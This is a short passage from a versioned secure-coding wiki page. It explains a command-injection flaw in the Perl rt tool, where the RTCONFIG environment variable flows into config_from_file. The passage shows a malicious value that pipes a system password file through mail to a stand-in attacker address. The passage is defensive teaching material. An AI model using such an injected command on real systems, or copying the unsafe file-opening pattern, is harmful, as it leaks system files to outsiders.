Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

This subroutine is called by the subroutine config_from_file, which is itself invoked ofrom the following:

Code Block
langperl


    config_from_file($ENV{RTCONFIG} || ".rtrc"),

Since any user can invoke the rt executable with environment variables they control, a hostile user may set the RTCONFIG environment variable to a malicious command, such as:

Code Block
bgColor#ffcccc
	cat /etc/password | mail some@badguy.net |

...